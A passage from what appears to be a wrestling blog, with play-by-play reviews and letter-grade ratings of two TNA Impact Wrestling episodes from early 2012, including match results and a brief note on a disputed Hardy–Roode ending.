Winner gets Roode at Against All Odds. They quickly go to the mat with Hardy having moderate control. Storm hits a clothesline but is tired already and we take a break. Back with Hardy sending him to the floor and taking over back in the ring. Storm channels his inner Blanchard and hits a slingshot suplex. After a quick chinlock, Jeff starts his comeback and hits the Whisper in the Wind for two.

Now Jeff hooks a chinlock. They’ve been going in a low gear up to this point. Eye of the Storm is countered but Storm hits some freaky release mat slam for two. He loads up the Last Call but Jeff counters into the Twisting Stunner. Here comes the Swanton but Storm breaks it up. A superplex is countered but Storm hits an enziguri to knock Jeff down. Now the superplex hits but both guys are down. And then Bully Ray comes in and hits the referee for the no contest at 13:24.

Rating: C. Not bad but it was clear they were keeping it in low gear until the ending. Ray coming in was foreshadowed pretty clearly and I think they’re going to go with the three or four way main event at Against All Odds, because goodness knows there aren’t enough of those right? Anyway, not much here and the ending was pretty obvious.

Ray beats them both down and beats up referees also, all with the chain. Sting comes out with the bat and beats up Ray, chasing him off to end the show. Or wait is it the end? No it isn’t as Roode comes in and both guys get belt shots.  Roode declares it a no contest and says he’s still champion.  THAT ends the show.

Overall Rating: C-. This was an ok show and that’s about it. They got some stuff set up for Against All Odds….kind of. The problem is that there was no fire to this at all and it felt like a throwaway show. That’s ok as they have a few weeks before the PPV and I’m sure a lot will happen in the UK, but this was still pretty weak stuff. The cage match was ok as was the main event, but it wasn’t anything to remember at all. Not bad, but just kind of there.

Results
Gunner b. AJ Styles – DDT
Crimson b. Magnus – Red Sky
Mickie James b. Madison Rayne – Jumping DDT
Eric Young b. Angelina Love via DQ when Love kicked Young low
Jeff Hardy vs. James Storm went to a no contest when Bully Ray interfered

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Totally Missed This In The Impact Review

But wouldn’t the ending mean that Hardy won by DQ and therefore is champion???




Impact Wrestling – January 12, 2012 – Genesis Rematches Abound

Impact Wrestling
Date: January 12, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s after Genesis now so it basically means a new day for TNA. Roode is still champion, Angle tied up the series with Storm, no titles changed, and basically the whole show didn’t change anything. Against All Odds is next and we have probably even more rematches to look forward to. Anyway, hopefully things are a little more interesting in the next few weeks. Let’s get to it.

We open with a recap of Genesis where Roode kept the title via getting himself disqualified.

Here’s Roode who says he’s the most dominant champion ever and that he’s beaten everyone put in front of him. He wants Hardy to come out and shake his hand but gets Sting instead. Sting talks to Roode like he’s an idiot and says he wants to beat him up. It results in Hardy vs. Roode tonight.

Earlier today, Morgan got here and ran into Crimson. Crimson says he got a Direct Auto Insurance policy. Are you kidding me? They have a match tonight too against the Robs.

Robbie E/Robbie T vs. Crimson/Matt Morgan

Non-title here. Crimson starts off with E so it’s off to T quickly. And then T runs him over and it’s back to E. Crimson and Morgan take turns destroying him. Carbon Footprint takes down T and a double spinebuster ends this in 1:58. Total squash.

Joe and Magnus run out and jump the champs post match.

Eric is here.

We recap Garrett vs. his pappy and Gunner.

Cue Eric to the arena. Eric talks about how it’s not that easy to be a wrestler. You have to have talent to go with the chance. Eric may have made everything he’s done look easy, but it doesn’t work that way. Garrett comes out and says he’s not quitting because his dad says so. He lists off the top guys that he’s learning from and says he’s going to stick with this. Garrett says he isn’t going to quit and that he has a new trainer who is going to shock Eric. Garrett goes to leave but Eric stops him. The sonny grabs him by the neck and says never touch him again.

Angelina and Winter say they need to remind people who they are.

We recap ODB and Eric. Oh joy. They’re in the back and she says it was a one time thing.

Winter vs. ODB

Eric is doing his usual insane stuff. ODB chest bumps Winter and sends her flying but a Bronco Buster doesn’t hit. Winter puts her in a Tree of Woe. Off to a quick chinlock but ODB comes back with a fallaway slam and nip up….and here’s Eric to give Angelina an airplane spin. TKO beats Winter at 3:32. It’s called the Bam apparently.

Rating: D. Whatever as usual with the girl matches in whatever company they’re in. Eric is so much more bearable when he’s not TV Champion. Or stripping. Not a terrible match but it was there for Eric and that’s about it. Either way, you know the wacky romance is going to continue, but that’s ok I guess.

Here’s AJ who wants to talk to Kaz. It doesn’t take long for him to get here and AJ is mad. He wants to know why Kaz turned on him. Kaz was supposed to be the level headed one and the calm one. This happened last year with Daniels, so why is it happening here? AJ keeps yelling and Kaz says he can’t tell him. Daniels pops up and says he can. He says he’s tired of Kaz carrying AJ and that AJ is a lost cause. Daniels tells Kaz to leave which he does, so AJ CHUCKS the mic (from like two and a half feet) at Daniels and the beatdown is on. Kaz pulls him to safety but doesn’t look happy that he did so.

Ray and Roode are in the back and Ray points out that he was trending on Twitter. Roode gives me the high point of his career: saying there are more important things than Twitter. Ray won’t shut up about it while Roode freaks out about the title match later. He says he’ll have Roode’s back in exchange for a shot. Roode agrees, but doesn’t seem sincere.

Here’s Storm and he demands Angle come out, so here’s baldie himself. Storm slaps the mic out of his hand and says Angle cheated, because he’s beaten Angle twice but Kurt had to cheat to beat him. Angle says he’s done with Storm and wants the title. Sting comes out and quickly says in the title match, if Roode gets disqualified he loses the title. Also tonight, it’s the rubber match and the winner gets a title shot in the future.

Kurt Angle vs. James Storm

Angle had only until we came back from a break to get his gear, which he says he doesn’t have. After the break there’s no Kurt. Earl starts the count and Angle makes it in at 9, putting the singlet on as he runs. Storm pounds him down quickly and Angle goes shoulder first into the post. A DDT on the arm gets two. Storm goes after the hand because we’ve always heard about Angle’s grip. Angle tries to roll away and hits the floor where he finally gets in some shots to break the momentum.

Still outside, Angle pops off a belly to belly and we take a break. Back with Angle getting two off something we didn’t see. Snap suplex gets two for Kurt. After more beatings, they both try a cross body to knock them both down. Storm hammers away and hits a Backstabber. A backbreaker sets up the fabled jump into the boot but Storm grabs the foot and puts on the ankle lock. Kurt kicks him off and the Slam gets two. Angle pounds away on Storm and goes outside.

He picks up the beer bottle and brings it in, but Hebner takes it. The distraction lets Kurt spit beer in Storm’s face and the kick to the head, which isn’t super at all, for two. Storm grabs a Codebreaker out of nowhere and the Last Call ends this at 15:57. The ending came out of nowhere. Storm is #1 contender.

Rating: B-. Not as good as their other matches but it picked up a lot after the break. Another clean win over Storm isn’t going to hurt Storm at all though so no complaints there at all. Hopefully this sets up Storm vs. Roode in a big long match, but I have a feeling that’ll be saved for a major show. At least I hope it will.

Tessmacher is in some Hooters pageant.

Sting is at a photo shoot when Madison comes up. She says he can officially make her VP of the Knockouts but he says no. Instead he makes her vs. Mickie next week in a cage.

TNA World Title: Jeff Hardy vs. Bobby Roode

Roode chills on the floor before the match so Hardy dives on him to take over. Dixie is at ringside. They haven’t both been in the ring yet. Hardy dominates to start but Roode gets in a shot, only to have his piledriver attempt blocked and a slingshot sends him into the post. Twist of Fate is countered but Jeff hits a clothesline and they go in. And there’s the bell? I thought I missed it. Ok so we got three minutes of brawling beforehand. Got it.

Clothesline gets two for Hardy. Roode gets knocked outside again and we take a break. Back with them still on the floor and Hardy trying Poetry in Motion into the railing. He totally crashes and burns, which makes me shake my head when people are surprised that he has a drug problem. Jeff makes it back in at nine so Roode pounds on him even more. Blockbuster gets two. Jeff hits a jawbreaker and Russian legsweep for two. Whisper in the Wind gets two.

Twist is countered into the spinebuster and Roode tries the fisherman’s suplex but Jeff counters into another Twist. Swanton misses and Roode grabs a cover for two. This is getting really good. Twisting Stunner and Twist of Fate set up the Swanton and Roode is in BIG trouble. Hardy covers….and here’s Bully Ray to beat up the referee. The match is thrown out at let’s say 13:00.

Rating: B. Really good TV match here but again, it’s the same match that was at the PPV but better. Why would I want to buy a PPV when I could see this four days later for free? Why couldn’t this match happen at Genesis? I’ll never get parts of this company. Anyway, really good TV match here and I was getting into it before the bad ending.

Overall Rating: B. Good show tonight, but I seriously worry about this company’s long term planning abilities. Storm vs. Angle and Hardy vs. Roode were PPV matches 4 days ago and now they’re given away for free (one of which with a better ending) later in the week? At some point, you’re going to have a problem convincing fans to buy your shows when they could see the same matches with more stipulations later that week.

It’s like they’re trying to pop the TV ratings (which would make more sense if they advertised these matches and waited until next week but whatever) instead of running a regular show. Whatever though, as I’m sure some TNA superfan will explain why I’m crazy. Good show this week, but it was totally lopsided as the first hour was worthless while the second was great.

Results
Crimson/Matt Morgan b. Robbie E/Robbie T – Double spinebuster to Robbie E
ODB b. Winter – The Bam
James Storm b. Kurt Angle – Last Call
Jeff Hardy b. Bobby Roode via DQ when Bully Ray interfered

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